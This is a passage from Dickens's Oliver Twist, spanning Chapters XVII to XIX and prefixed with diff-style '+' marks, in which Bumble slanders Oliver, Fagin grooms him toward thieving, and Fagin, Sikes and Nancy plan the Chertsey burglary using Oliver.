+discovery of the said Oliver Twist, or tend to throw any light +upon his previous history, in which the advertiser is, for many +reasons, warmly interested.' + +And then followed a full description of Oliver's dress, person, +appearance, and disappearance: with the name and address of Mr. +Brownlow at full length. + +Mr. Bumble opened his eyes; read the advertisement, slowly and +carefully, three several times; and in something more than five +minutes was on his way to Pentonville: having actually, in his +excitement, left the glass of hot gin-and-water, untasted. + +'Is Mr. Brownlow at home?' inquired Mr. Bumble of the girl who +opened the door. + +To this inquiry the girl returned the not uncommon, but rather +evasive reply of 'I don't know; where do you come from?' + +Mr. Bumble no sooner uttered Oliver's name, in explanation of his +errand, than Mrs. Bedwin, who had been listening at the parlour +door, hastened into the passage in a breathless state. + +'Come in, come in,' said the old lady: 'I knew we should hear of +him. Poor dear! I knew we should! I was certain of it. Bless +his heart! I said so all along.' + +Having heard this, the worthy old lady hurried back into the +parlour again; and seating herself on a sofa, burst into tears. +The girl, who was not quite so susceptible, had run upstairs +meanwhile; and now returned with a request that Mr. Bumble would +follow her immediately: which he did. + +He was shown into the little back study, where sat Mr. Brownlow +and his friend Mr. Grimwig, with decanters and glasses before +them. The latter gentleman at once burst into the exclamation: + +'A beadle. A parish beadle, or I'll eat my head.' + +'Pray don't interrupt just now,' said Mr. Brownlow. 'Take a +seat, will you?' + +Mr. Bumble sat himself down; quite confounded by the oddity of +Mr. Grimwig's manner. Mr. Brownlow moved the lamp, so as to +obtain an uninterrupted view of the beadle's countenance; and +said, with a little impatience, + +'Now, sir, you come in consequence of having seen the +advertisement?' + +'Yes, sir,' said Mr. Bumble. + +'And you ARE a beadle, are you not?' inquired Mr. Grimwig. + +'I am a porochial beadle, gentlemen,' rejoined Mr. Bumble +proudly. + +'Of course,' observed Mr. Grimwig aside to his friend, 'I knew he +was. A beadle all over!' + +Mr. Brownlow gently shook his head to impose silence on his +friend, and resumed: + +'Do you know where this poor boy is now?' + +'No more than nobody,' replied Mr. Bumble. + +'Well, what DO you know of him?' inquired the old gentleman. +'Speak out, my friend, if you have anything to say. What DO you +know of him?' + +'You don't happen to know any good of him, do you?' said Mr. +Grimwig, caustically; after an attentive perusal of Mr. Bumble's +features. + +Mr. Bumble, catching at the inquiry very quickly, shook his head +with portentous solemnity. + +'You see?' said Mr. Grimwig, looking triumphantly at Mr. +Brownlow. + +Mr. Brownlow looked apprehensively at Mr. Bumble's pursed-up +countenance; and requested him to communicate what he knew +regarding Oliver, in as few words as possible. + +Mr. Bumble put down his hat; unbuttoned his coat; folded his +arms; inclined his head in a retrospective manner; and, after a +few moments' reflection, commenced his story. + +It would be tedious if given in the beadle's words: occupying, +as it did, some twenty minutes in the telling; but the sum and +substance of it was, that Oliver was a foundling, born of low and +vicious parents. That he had, from his birth, displayed no +better qualities than treachery, ingratitude, and malice. That +he had terminated his brief career in the place of his birth, by +making a sanguinary and cowardly attack on an unoffending lad, +and running away in the night-time from his master's house. In +proof of his really being the person he represented himself, Mr. +Bumble laid upon the table the papers he had brought to town. +Folding his arms again, he then awaited Mr. Brownlow's +observations. + +'I fear it is all too true,' said the old gentleman sorrowfully, +after looking over the papers. 'This is not much for your +intelligence; but I would gladly have given you treble the money, +if it had been favourable to the boy.' + +It is not improbable that if Mr. Bumble had been possessed of +this information at an earlier period of the interview, he might +have imparted a very different colouring to his little history. +It was too late to do it now, however; so he shook his head +gravely, and, pocketing the five guineas, withdrew. + +Mr. Brownlow paced the room to and fro for some minutes; +evidently so much disturbed by the beadle's tale, that even Mr. +Grimwig forbore to vex him further. + +At length he stopped, and rang the bell violently. + +'Mrs. Bedwin,' said Mr. Brownlow, when the housekeeper appeared; +'that boy, Oliver, is an imposter.' + +'It can't be, sir. It cannot be,' said the old lady +energetically. + +'I tell you he is,' retorted the old gentleman. 'What do you +mean by can't be? We have just heard a full account of him from +his birth; and he has been a thorough-paced little villain, all +his life.' + +'I never will believe it, sir,' replied the old lady, firmly. +'Never!' + +'You old women never believe anything but quack-doctors, and +lying story-books,' growled Mr. Grimwig. 'I knew it all along. +Why didn't you take my advise in the beginning; you would if he +hadn't had a fever, I suppose, eh? He was interesting, wasn't +he? Interesting! Bah!' And Mr. Grimwig poked the fire with a +flourish. + +'He was a dear, grateful, gentle child, sir,' retorted Mrs. +Bedwin, indignantly. 'I know what children are, sir; and have +done these forty years; and people who can't say the same, +shouldn't say anything about them. That's my opinion!' + +This was a hard hit at Mr. Grimwig, who was a bachelor. As it +extorted nothing from that gentleman but a smile, the old lady +tossed her head, and smoothed down her apron preparatory to +another speech, when she was stopped by Mr. Brownlow. + +'Silence!' said the old gentleman, feigning an anger he was far +from feeling. 'Never let me hear the boy's name again. I rang +to tell you that. Never. Never, on any pretence, mind! You may +leave the room, Mrs. Bedwin. Remember! I am in earnest.' + +There were sad hearts at Mr. Brownlow's that night. + +Oliver's heart sank within him, when he thought of his good +friends; it was well for him that he could not know what they had +heard, or it might have broken outright. + + + + +CHAPTER XVIII + +HOW OLIVER PASSED HIS TIME IN THE IMPROVING SOCIETY OF HIS +REPUTABLE FRIENDS + +About noon next day, when the Dodger and Master Bates had gone +out to pursue their customary avocations, Mr. Fagin took the +opportunity of reading Oliver a long lecture on the crying sin of +ingratitude; of which he clearly demonstrated he had been guilty, +to no ordinary extent, in wilfully absenting himself from the +society of his anxious friends; and, still more, in endeavouring +to escape from them after so much trouble and expense had been +incurred in his recovery. Mr. Fagin laid great stress on the fact +of his having taken Oliver in, and cherished him, when, without +his timely aid, he might have perished with hunger; and he +related the dismal and affecting history of a young lad whom, in +his philanthropy, he had succoured under parallel circumstances, +but who, proving unworthy of his confidence and evincing a desire +to communicate with the police, had unfortunately come to be +hanged at the Old Bailey one morning. Mr. Fagin did not seek to +conceal his share in the catastrophe, but lamented with tears in +his eyes that the wrong-headed and treacherous behaviour of the +young person in question, had rendered it necessary that he +should become the victim of certain evidence for the crown: +which, if it were not precisely true, was indispensably necessary +for the safety of him (Mr. Fagin) and a few select friends. Mr. +Fagin concluded by drawing a rather disagreeable picture of the +discomforts of hanging; and, with great friendliness and +politeness of manner, expressed his anxious hopes that he might +never be obliged to submit Oliver Twist to that unpleasant +operation. + +Little Oliver's blood ran cold, as he listened to the Jew's +words, and imperfectly comprehended the dark threats conveyed in +them. That it was possible even for justice itself to confound +the innocent with the guilty when they were in accidental +companionship, he knew already; and that deeply-laid plans for +the destruction of inconveniently knowing or over-communicative +persons, had been really devised and carried out by the Jew on +more occasions than one, he thought by no means unlikely, when he +recollected the general nature of the altercations between that +gentleman and Mr. Sikes: which seemed to bear reference to some +foregone conspiracy of the kind. As he glanced timidly up, and +met the Jew's searching look, he felt that his pale face and +trembling limbs were neither unnoticed nor unrelished by that +wary old gentleman. + +The Jew, smiling hideously, patted Oliver on the head, and said, +that if he kept himself quiet, and applied himself to business, +he saw they would be very good friends yet. Then, taking his +hat, and covering himself with an old patched great-coat, he went +out, and locked the room-door behind him. + +And so Oliver remained all that day, and for the greater part of +many subsequent days, seeing nobody, between early morning and +midnight, and left during the long hours to commune with his own +thoughts. Which, never failing to revert to his kind friends, +and the opinion they must long ago have formed of him, were sad +indeed. + +After the lapse of a week or so, the Jew left the room-door +unlocked; and he was at liberty to wander about the house. + +It was a very dirty place. The rooms upstairs had great high +wooden chimney-pieces and large doors, with panelled walls and +cornices to the ceiling; which, although they were black with +neglect and dust, were ornamented in various ways. From all of +these tokens Oliver concluded that a long time ago, before the +old Jew was born, it had belonged to better people, and had +perhaps been quite gay and handsome: dismal and dreary as it +looked now. + +Spiders had built their webs in the angles of the walls and +ceilings; and sometimes, when Oliver walked softly into a room, +the mice would scamper across the floor, and run back terrified +to their holes. With these exceptions, there was neither sight +nor sound of any living thing; and often, when it grew dark, and +he was tired of wandering from room to room, he would crouch in +the corner of the passage by the street-door, to be as near +living people as he could; and would remain there, listening and +counting the hours, until the Jew or the boys returned. + +In all the rooms, the mouldering shutters were fast closed: the +bars which held them were screwed tight into the wood; the only +light which was admitted, stealing its way through round holes at +the top: which made the rooms more gloomy, and filled them with +strange shadows. There was a back-garret window with rusty bars +outside, which had no shutter; and out of this, Oliver often +gazed with a melancholy face for hours together; but nothing was +to be descried from it but a confused and crowded mass of +housetops, blackened chimneys, and gable-ends. Sometimes, +indeed, a grizzly head might be seen, peering over the +parapet-wall of a distant house; but it was quickly withdrawn +again; and as the window of Oliver's observatory was nailed down, +and dimmed with the rain and smoke of years, it was as much as he +could do to make out the forms of the different objects beyond, +without making any attempt to be seen or heard,--which he had as +much chance of being, as if he had lived inside the ball of St. +Paul's Cathedral. + +One afternoon, the Dodger and Master Bates being engaged out that +evening, the first-named young gentleman took it into his head to +evince some anxiety regarding the decoration of his person (to do +him justice, this was by no means an habitual weakness with him); +and, with this end and aim, he condescendingly commanded Oliver +to assist him in his toilet, straightway. + +Oliver was but too glad to make himself useful; too happy to have +some faces, however bad, to look upon; too desirous to conciliate +those about him when he could honestly do so; to throw any +objection in the way of this proposal. So he at once expressed +his readiness; and, kneeling on the floor, while the Dodger sat +upon the table so that he could take his foot in his laps, he +applied himself to a process which Mr. Dawkins designated as +'japanning his trotter-cases.' The phrase, rendered into plain +English, signifieth, cleaning his boots. + +Whether it was the sense of freedom and independence which a +rational animal may be supposed to feel when he sits on a table +in an easy attitude smoking a pipe, swinging one leg carelessly +to and fro, and having his boots cleaned all the time, without +even the past trouble of having taken them off, or the +prospective misery of putting them on, to disturb his +reflections; or whether it was the goodness of the tobacco that +soothed the feelings of the Dodger, or the mildness of the beer +that mollified his thoughts; he was evidently tinctured, for the +nonce, with a spice of romance and enthusiasm, foreign to his +general nature. He looked down on Oliver, with a thoughtful +countenance, for a brief space; and then, raising his head, and +heaving a gentle sign, said, half in abstraction, and half to +Master Bates: + +'What a pity it is he isn't a prig!' + +'Ah!' said Master Charles Bates; 'he don't know what's good for +him.' + +The Dodger sighed again, and resumed his pipe: as did Charley +Bates. They both smoked, for some seconds, in silence. + +'I suppose you don't even know what a prig is?' said the Dodger +mournfully. + +'I think I know that,' replied Oliver, looking up. 'It's a +the--; you're one, are you not?' inquired Oliver, checking +himself. + +'I am,' replied the Doger. 'I'd scorn to be anything else.' Mr. +Dawkins gave his hat a ferocious cock, after delivering this +sentiment, and looked at Master Bates, as if to denote that he +would feel obliged by his saying anything to the contrary. + +'I am,' repeated the Dodger. 'So's Charley. So's Fagin. So's +Sikes. So's Nancy. So's Bet. So we all are, down to the dog. +And he's the downiest one of the lot!' + +'And the least given to peaching,' added Charley Bates. + +'He wouldn't so much as bark in a witness-box, for fear of +committing himself; no, not if you tied him up in one, and left +him there without wittles for a fortnight,' said the Dodger. + +'Not a bit of it,' observed Charley. + +'He's a rum dog. Don't he look fierce at any strange cove that +laughs or sings when he's in company!' pursued the Dodger. +'Won't he growl at all, when he hears a fiddle playing! And +don't he hate other dogs as ain't of his breed! Oh, no!' + +'He's an out-and-out Christian,' said Charley. + +This was merely intended as a tribute to the animal's abilities, +but it was an appropriate remark in another sense, if Master +Bates had only known it; for there are a good many ladies and +gentlemen, claiming to be out-and-out Christians, between whom, +and Mr. Sikes' dog, there exist strong and singular points of +resemblance. + +'Well, well,' said the Dodger, recurring to the point from which +they had strayed: with that mindfulness of his profession which +influenced all his proceedings. 'This hasn't go anything to do +with young Green here.' + +'No more it has,' said Charley. 'Why don't you put yourself +under Fagin, Oliver?' + +'And make your fortun' out of hand?' added the Dodger, with a +grin. + +'And so be able to retire on your property, and do the gen-teel: +as I mean to, in the very next leap-year but four that ever +comes, and the forty-second Tuesday in Trinity-week,' said +Charley Bates. + +'I don't like it,' rejoined Oliver, timidly; 'I wish they would +let me go. I--I--would rather go.' + +'And Fagin would RATHER not!' rejoined Charley. + +Oliver knew this too well; but thinking it might be dangerous to +express his feelings more openly, he only sighed, and went on +with his boot-cleaning. + +'Go!' exclaimed the Dodger. 'Why, where's your spirit?' Don't +you take any pride out of yourself? Would you go and be +dependent on your friends?' + +'Oh, blow that!' said Master Bates: drawing two or three silk +handkerchiefs from his pocket, and tossing them into a cupboard, +'that's too mean; that is.' + +'_I_ couldn't do it,' said the Dodger, with an air of haughty +disgust. + +'You can leave your friends, though,' said Oliver with a half +smile; 'and let them be punished for what you did.' + +'That,' rejoined the Dodger, with a wave of his pipe, 'That was +all out of consideration for Fagin, 'cause the traps know that we +work together, and he might have got into trouble if we hadn't +made our lucky; that was the move, wasn't it, Charley?' + +Master Bates nodded assent, and would have spoken, but the +recollection of Oliver's flight came so suddenly upon him, that +the smoke he was inhaling got entangled with a laugh, and went up +into his head, and down into his throat: and brought on a fit of +coughing and stamping, about five minutes long. + +'Look here!' said the Dodger, drawing forth a handful of +shillings and halfpence. 'Here's a jolly life! What's the odds +where it comes from? Here, catch hold; there's plenty more where +they were took from. You won't, won't you? Oh, you precious +flat!' + +'It's naughty, ain't it, Oliver?' inquired Charley Bates. 'He'll +come to be scragged, won't he?' + +'I don't know what that means,' replied Oliver. + +'Something in this way, old feller,' said Charly. As he said it, +Master Bates caught up an end of his neckerchief; and, holding it +erect in the air, dropped his head on his shoulder, and jerked a +curious sound through his teeth; thereby indicating, by a lively +pantomimic representation, that scragging and hanging were one +and the same thing. + +'That's what it means,' said Charley. 'Look how he stares, Jack! + +I never did see such prime company as that 'ere boy; he'll be the +death of me, I know he will.' Master Charley Bates, having +laughed heartily again, resumed his pipe with tears in his eyes. + +'You've been brought up bad,' said the Dodger, surveying his +boots with much satisfaction when Oliver had polished them. +'Fagin will make something of you, though, or you'll be the first +he ever had that turned out unprofitable. You'd better begin at +once; for you'll come to the trade long before you think of it; +and you're only losing time, Oliver.' + +Master Bates backed this advice with sundry moral admonitions of +his own: which, being exhausted, he and his friend Mr. Dawkins +launched into a glowing description of the numerous pleasures +incidental to the life they led, interspersed with a variety of +hints to Oliver that the best thing he could do, would be to +secure Fagin's favour without more delay, by the means which they +themselves had employed to gain it. + +'And always put this in your pipe, Nolly,' said the Dodger, as +the Jew was heard unlocking the door above, 'if you don't take +fogels and tickers--' + +'What's the good of talking in that way?' interposed Master +Bates; 'he don't know what you mean.' + +'If you don't take pocket-handkechers and watches,' said the +Dodger, reducing his conversation to the level of Oliver's +capacity, 'some other cove will; so that the coves that lose 'em +will be all the worse, and you'll be all the worse, too, and +nobody half a ha'p'orth the better, except the chaps wot gets +them--and you've just as good a right to them as they have.' + +'To be sure, to be sure!' said the Jew, who had entered unseen by +Oliver. 'It all lies in a nutshell my dear; in a nutshell, take +the Dodger's word for it. Ha! ha! ha! He understands the +catechism of his trade.' + +The old man rubbed his hands gleefully together, as he +corroborated the Dodger's reasoning in these terms; and chuckled +with delight at his pupil's proficiency. + +The conversation proceeded no farther at this time, for the Jew +had returned home accompanied by Miss Betsy, and a gentleman whom +Oliver had never seen before, but who was accosted by the Dodger +as Tom Chitling; and who, having lingered on the stairs to +exchange a few gallantries with the lady, now made his +appearance. + +Mr. Chitling was older in years than the Dodger: having perhaps +numbered eighteen winters; but there was a degree of deference in +his deportment towards that young gentleman which seemed to +indicate that he felt himself conscious of a slight inferiority +in point of genius and professional aquirements. He had small +twinkling eyes, and a pock-marked face; wore a fur cap, a dark +corduroy jacket, greasy fustian trousers, and an apron. His +wardrobe was, in truth, rather out of repair; but he excused +himself to the company by stating that his 'time' was only out an +hour before; and that, in consequence of having worn the +regimentals for six weeks past, he had not been able to bestow +any attention on his private clothes. Mr. Chitling added, with +strong marks of irritation, that the new way of fumigating +clothes up yonder was infernal unconstitutional, for it burnt +holes in them, and there was no remedy against the County. The +same remark he considered to apply to the regulation mode of +cutting the hair: which he held to be decidedly unlawful. Mr. +Chitling wound up his observations by stating that he had not +touched a drop of anything for forty-two moral long hard-working +days; and that he 'wished he might be busted if he warn't as dry +as a lime-basket.' + +'Where do you think the gentleman has come from, Oliver?' +inquired the Jew, with a grin, as the other boys put a bottle of +spirits on the table. + +'I--I--don't know, sir,' replied Oliver. + +'Who's that?' inquired Tom Chitling, casting a contemptuous look +at Oliver. + +'A young friend of mine, my dear,' replied the Jew. + +'He's in luck, then,' said the young man, with a meaning look at +Fagin. 'Never mind where I came from, young 'un; you'll find +your way there, soon enough, I'll bet a crown!' + +At this sally, the boys laughed. After some more jokes on the +same subject, they exchanged a few short whispers with Fagin; and +withdrew. + +After some words apart between the last comer and Fagin, they +drew their chairs towards the fire; and the Jew, telling Oliver +to come and sit by him, led the conversation to the topics most +calculated to interest his hearers. These were, the great +advantages of the trade, the proficiency of the Dodger, the +amiability of Charley Bates, and the liberality of the Jew +himself. At length these subjects displayed signs of being +thoroughly exhausted; and Mr. Chitling did the same: for the +house of correction becomes fatiguing after a week or two. Miss +Betsy accordingly withdrew; and left the party to their repose. + +From this day, Oliver was seldom left alone; but was placed in +almost constant communication with the two boys, who played the +old game with the Jew every day: whether for their own +improvement or Oliver's, Mr. Fagin best knew. At other times the +old man would tell them stories of robberies he had committed in +his younger days: mixed up with so much that was droll and +curious, that Oliver could not help laughing heartily, and +showing that he was amused in spite of all his better feelings. + +In short, the wily old Jew had the boy in his toils. Having +prepared his mind, by solitude and gloom, to prefer any society +to the companionship of his own sad thoughts in such a dreary +place, he was now slowly instilling into his soul the poison +which he hoped would blacken it, and change its hue for ever. + + + + +CHAPTER XIX + +IN WHICH A NOTABLE PLAN IS DISCUSSED AND DETERMINED ON + +It was a chill, damp, windy night, when the Jew: buttoning his +great-coat tight round his shrivelled body, and pulling the +collar up over his ears so as completely to obscure the lower +part of his face: emerged from his den. He paused on the step +as the door was locked and chained behind him; and having +listened while the boys made all secure, and until their +retreating footsteps were no longer audible, slunk down the +street as quickly as he could. + +The house to which Oliver had been conveyed, was in the +neighborhood of Whitechapel. The Jew stopped for an instant at +the corner of the street; and, glancing suspiciously round, +crossed the road, and struck off in the direction of the +Spitalfields. + +The mud lay thick upon the stones, and a black mist hung over the +streets; the rain fell sluggishly down, and everything felt cold +and clammy to the touch. It seemed just the night when it +befitted such a being as the Jew to be abroad. As he glided +stealthily along, creeping beneath the shelter of the walls and +doorways, the hideous old man seemed like some loathsome reptile, +engendered in the slime and darkness through which he moved: +crawling forth, by night, in search of some rich offal for a +meal. + +He kept on his course, through many winding and narrow ways, +until he reached Bethnal Green; then, turning suddenly off to the +left, he soon became involved in a maze of the mean and dirty +streets which abound in that close and densely-populated quarter. + +The Jew was evidently too familiar with the ground he traversed +to be at all bewildered, either by the darkness of the night, or +the intricacies of the way. He hurried through several alleys +and streets, and at length turned into one, lighted only by a +single lamp at the farther end. At the door of a house in this +street, he knocked; having exchanged a few muttered words with +the person who opened it, he walked upstairs. + +A dog growled as he touched the handle of a room-door; and a +man's voice demanded who was there. + +'Only me, Bill; only me, my dear,' said the Jew looking in. + +'Bring in your body then,' said Sikes. 'Lie down, you stupid +brute! Don't you know the devil when he's got a great-coat on?' + +Apparently, the dog had been somewhat deceived by Mr. Fagin's +outer garment; for as the Jew unbuttoned it, and threw it over +the back of a chair, he retired to the corner from which he had +risen: wagging his tail as he went, to show that he was as well +satisfied as it was in his nature to be. + +'Well!' said Sikes. + +'Well, my dear,' replied the Jew.--'Ah! Nancy.' + +The latter recognition was uttered with just enough of +embarrassment to imply a doubt of its reception; for Mr. Fagin +and his young friend had not met, since she had interfered in +behalf of Oliver. All doubts upon the subject, if he had any, +were speedily removed by the young lady's behaviour. She took +her feet off the fender, pushed back her chair, and bade Fagin +draw up his, without saying more about it: for it was a cold +night, and no mistake. + +'It is cold, Nancy dear,' said the Jew, as he warmed his skinny +hands over the fire. 'It seems to go right through one,' added +the old man, touching his side. + +'It must be a piercer, if it finds its way through your heart,' +said Mr. Sikes. 'Give him something to drink, Nancy. Burn my +body, make haste! It's enough to turn a man ill, to see his lean +old carcase shivering in that way, like a ugly ghost just rose +from the grave.' + +Nancy quickly brought a bottle from a cupboard, in which there +were many: which, to judge from the diversity of their +appearance, were filled with several kinds of liquids. Sikes +pouring out a glass of brandy, bade the Jew drink it off. + +'Quite enough, quite, thankye, Bill,' replied the Jew, putting +down the glass after just setting his lips to it. + +'What! You're afraid of our getting the better of you, are you?' +inquired Sikes, fixing his eyes on the Jew. 'Ugh!' + +With a hoarse grunt of contempt, Mr. Sikes seized the glass, and +threw the remainder of its contents into the ashes: as a +preparatory ceremony to filling it again for himself: which he +did at once. + +The Jew glanced round the room, as his companion tossed down the +second glassful; not in curiousity, for he had seen it often +before; but in a restless and suspicious manner habitual to him. +It was a meanly furnished apartment, with nothing but the +contents of the closet to induce the belief that its occupier was +anything but a working man; and with no more suspicious articles +displayed to view than two or three heavy bludgeons which stood +in a corner, and a 'life-preserver' that hung over the +chimney-piece. + +'There,' said Sikes, smacking his lips. 'Now I'm ready.' + +'For business?' inquired the Jew. + +'For business,' replied Sikes; 'so say what you've got to say.' + +'About the crib at Chertsey, Bill?' said the Jew, drawing his +chair forward, and speaking in a very low voice. + +'Yes. Wot about it?' inquired Sikes. + +'Ah! you know what I mean, my dear,' said the Jew. 'He knows +what I mean, Nancy; don't he?' + +'No, he don't,' sneered Mr. Sikes. 'Or he won't, and that's the +same thing. Speak out, and call things by their right names; +don't sit there, winking and blinking, and talking to me in +hints, as if you warn't the very first that thought about the +robbery. Wot d'ye mean?' + +'Hush, Bill, hush!' said the Jew, who had in vain attempted to +stop this burst of indignation; 'somebody will hear us, my dear. +Somebody will hear us.' + +'Let 'em hear!' said Sikes; 'I don't care.' But as Mr. Sikes DID +care, on reflection, he dropped his voice as he said the words, +and grew calmer. + +'There, there,' said the Jew, coaxingly. 'It was only my +caution, nothing more. Now, my dear, about that crib at +Chertsey; when is it to be done, Bill, eh? When is it to be +done? Such plate, my dear, such plate!' said the Jew: rubbing +his hands, and elevating his eyebrows in a rapture of +anticipation. + +'Not at all,' replied Sikes coldly. + +'Not to be done at all!' echoed the Jew, leaning back in his +chair. + +'No, not at all,' rejoined Sikes. 'At least it can't be a put-up +job, as we expected.' + +'Then it hasn't been properly gone about,' said the Jew, turning +pale with anger. 'Don't tell me!' + +'But I will tell you,' retorted Sikes. 'Who are you that's not +to be told? I tell you that Toby Crackit has been hanging about +the place for a fortnight, and he can't get one of the servants +in line.' + +'Do you mean to tell me, Bill,' said the Jew: softening as the +other grew heated: 'that neither of the two men in the house can +be got over?' + +'Yes, I do mean to tell you so,' replied Sikes. 'The old lady +has had 'em these twenty years; and if you were to give 'em five +hundred pound, they wouldn't be in it.' + +'But do you mean to say, my dear,' remonstrated the Jew, 'that +the women can't be got over?' + +'Not a bit of it,' replied Sikes. + +'Not by flash Toby Crackit?' said the Jew incredulously. 'Think +what women are, Bill,' + +'No; not even by flash Toby Crackit,' replied Sikes. 'He says +he's worn sham whiskers, and a canary waistcoat, the whole +blessed time he's been loitering down there, and it's all of no +use.' + +'He should have tried mustachios and a pair of military trousers, +my dear,' said the Jew. + +'So he did,' rejoined Sikes, 'and they warn't of no more use than +the other plant.' + +The Jew looked blank at this information. After ruminating for +some minutes with his chin sunk on his breast, he raised his head +and said, with a deep sigh, that if flash Toby Crackit reported +aright, he feared the game was up. + +'And yet,' said the old man, dropping his hands on his knees, +'it's a sad thing, my dear, to lose so much when we had set our +hearts upon it.' + +'So it is,' said Mr. Sikes. 'Worse luck!' + +A long silence ensued; during which the Jew was plunged in deep +thought, with his face wrinkled into an expression of villainy +perfectly demoniacal. Sikes eyed him furtively from time to +time. Nancy, apparently fearful of irritating the housebreaker, +sat with her eyes fixed upon the fire, as if she had been deaf to +all that passed. + +'Fagin,' said Sikes, abruptly breaking the stillness that +prevailed; 'is it worth fifty shiners extra, if it's safely done +from the outside?' + +'Yes,' said the Jew, as suddenly rousing himself. + +'Is it a bargain?' inquired Sikes. + +'Yes, my dear, yes,' rejoined the Jew; his eyes glistening, and +every muscle in his face working, with the excitement that the +inquiry had awakened. + +'Then,' said Sikes, thrusting aside the Jew's hand, with some +disdain, 'let it come off as soon as you like. Toby and me were +over the garden-wall the night afore last, sounding the panels of +the door and shutters. The crib's barred up at night like a +jail; but there's one part we can crack, safe and softly.' + +'Which is that, Bill?' asked the Jew eagerly. + +'Why,' whispered Sikes, 'as you cross the lawn--' + +'Yes?' said the Jew, bending his head forward, with his eyes +almost starting out of it. + +'Umph!' cried Sikes, stopping short, as the girl, scarcely moving +her head, looked suddenly round, and pointed for an instant to +the Jew's face. 'Never mind which part it is. You can't do it +without me, I know; but it's best to be on the safe side when one +deals with you.' + +'As you like, my dear, as you like' replied the Jew. 'Is there +no help wanted, but yours and Toby's?' + +'None,' said Sikes. 'Cept a centre-bit and a boy. The first +we've both got; the second you must find us.' + +'A boy!' exclaimed the Jew. 'Oh! then it's a panel, eh?' + +'Never mind wot it is!' replied Sikes. 'I want a boy, and he +musn't be a big 'un. Lord!' said Mr. Sikes, reflectively, 'if +I'd only got that young boy of Ned, the chimbley-sweeper's! He +kept him small on purpose, and let him out by the job. But the +father gets lagged; and then the Juvenile Delinquent Society +comes, and takes the boy away from a trade where he was earning +money, teaches him to read and write, and in time makes a +'prentice of him. And so they go on,' said Mr. Sikes, his wrath +rising with the recollection of his wrongs, 'so they go on; and, +if they'd got money enough (which it's a Providence they +haven't,) we shouldn't have half a dozen boys left in the whole +trade, in a year or two.' + +'No more we should,' acquiesced the Jew, who had been considering +during this speech, and had only caught the last sentence. +'Bill!' + +'What now?' inquired Sikes. + +The Jew nodded his head towards Nancy, who was still gazing at +the fire; and intimated, by a sign, that he would have her told +to leave the room. Sikes shrugged his shoulders impatiently, as +if he thought the precaution unnecessary; but complied, +nevertheless, by requesting Miss Nancy to fetch him a jug of +beer. + +'You don't want any beer,' said Nancy, folding her arms, and +retaining her seat very composedly. + +'I tell you I do!' replied Sikes. + +'Nonsense,' rejoined the girl coolly, 'Go on, Fagin. I know what +he's going to say, Bill; he needn't mind me.' + +The Jew still hesitated. Sikes looked from one to the other in +some surprise. + +'Why, you don't mind the old girl, do you, Fagin?' he asked at +length. 'You've known her long enough to trust her, or the +Devil's in it. She ain't one to blab. Are you Nancy?' + +'_I_ should think not!' replied the young lady: drawing her +chair up to the table, and putting her elbows upon it. + +'No, no, my dear, I know you're not,' said the Jew; 'but--' and +again the old man paused. + +'But wot?' inquired Sikes. + +'I didn't know whether she mightn't p'r'aps be out of sorts, you +know, my dear, as she was the other night,' replied the Jew. + +At this confession, Miss Nancy burst into a loud laugh; and, +swallowing a glass of brandy, shook her head with an air of +defiance, and burst into sundry exclamations of 'Keep the game +a-going!' 'Never say die!' and the like. These seemed to have +the effect of re-assuring both gentlemen; for the Jew nodded his +head with a satisfied air, and resumed his seat: as did Mr. Sikes +likewise. + +'Now, Fagin,' said Nancy with a laugh. 'Tell Bill at once, about +Oliver!' + +'Ha! you're a clever one, my dear: the sharpest girl I ever saw!' +said the Jew, patting her on the neck. 'It WAS about Oliver I +was going to speak, sure enough. Ha! ha! ha!' + +'What about him?' demanded Sikes. + +'He's the boy for you, my dear,' replied the Jew in a hoarse +whisper; laying his finger on the side of his nose, and grinning +frightfully. + +'He!' exclaimed. Sikes. + +'Have him, Bill!' said Nancy. 'I would, if I was in your place. +He mayn't be so much up, as any of the others; but that's not +what you want, if he's only to open a door for you. Depend upon +it he's a safe one, Bill.' + +'I know he is,' rejoined Fagin. 'He's been in good training +these last few weeks, and it's time he began to work for his +bread. Besides, the others are all too big.' + +'Well, he is just the size I want,' said Mr. Sikes, ruminating. + +'And will do everything you want, Bill, my dear,' interposed the +Jew; 'he can't help himself. That is, if you frighten him +enough.' + +'Frighten him!' echoed Sikes. 'It'll be no sham frightening, +mind you. If there's anything queer about him when we once get +into the work; in for a penny, in for a pound. You won't see him +alive again, Fagin. Think of that, before you send him. Mark my +words!' said the robber, poising a crowbar, which he had drawn +from under the bedstead. + +'I've thought of it all,' said the Jew with energy. 'I've--I've +had my eye upon him, my dears, close--close. Once let him feel +that he is one of us; once fill his mind with the idea that he +has been a thief; and he's ours! Ours for his life. Oho! It +couldn't have come about better! The old man crossed his arms +upon his breast; and, drawing his head and shoulders into a heap, +literally hugged himself for joy. + +'Ours!' said Sikes. 'Yours, you mean.' + +'Perhaps I do, my dear,' said the Jew, with a shrill chuckle. +'Mine, if you like, Bill.' + +'And wot,' said Sikes, scowling fiercely on his agreeable friend, +'wot makes you take so much pains about one chalk-faced kid, when +you know there are fifty boys snoozing about Common Garden every +night, as you might pick and choose from?' + +'Because they're of no use to me, my dear,' replied the Jew, with +some confusion, 'not worth the taking. Their looks convict 'em +when they get into trouble, and I lose 'em all. With this boy, +properly managed, my dears, I could do what I couldn't with +twenty of them. Besides,' said the Jew, recovering his +self-possession, 'he has us now if he could only give us leg-bail +again; and he must be in the same boat with us. Never mind how +he came there; it's quite enough for my power over him that he +was in a robbery; that's all I want. Now, how much better this +is, than being obliged to put the poor leetle boy out of the +way--which would be dangerous, and we should lose by it besides.' + +'When is it to be done?' asked Nancy, stopping some turbulent +exclamation on the part of Mr. Sikes, expressive of the disgust +with which he received Fagin's affectation of humanity. + +'Ah, to be sure,' said the Jew; 'when is it to be done, Bill?' + +'I planned with Toby, the night arter to-morrow,' rejoined Sikes +in a surly voice, 'if he heerd nothing from me to the contrairy.' + +'Good,' said the Jew; 'there's no moon.' + +'No,' rejoined Sikes. + +'It's all arranged about bringing off the swag, is it?' asked the +Jew. + +Sikes nodded. + +'And about--' + +'Oh, ah, it's all planned,' rejoined Sikes, interrupting him. +'Never mind particulars. You'd better bring the boy here +to-morrow night. I shall get off the stone an hour arter +daybreak. Then you hold your tongue, and keep the melting-pot +ready, and that's all you'll have to do.' + +After some discussion, in which all three took an active part, it +was decided that Nancy should repair to the Jew's next evening +when the night had set in, and bring Oliver away with her; Fagin +craftily observing, that, if he evinced any disinclination to the +task, he would be more willing to accompany the girl who had so +recently interfered in his behalf, than anybody else. It was +also solemnly arranged that poor Oliver should, for the purposes +of the contemplated expedition, be unreservedly consigned to the +care and custody of Mr. 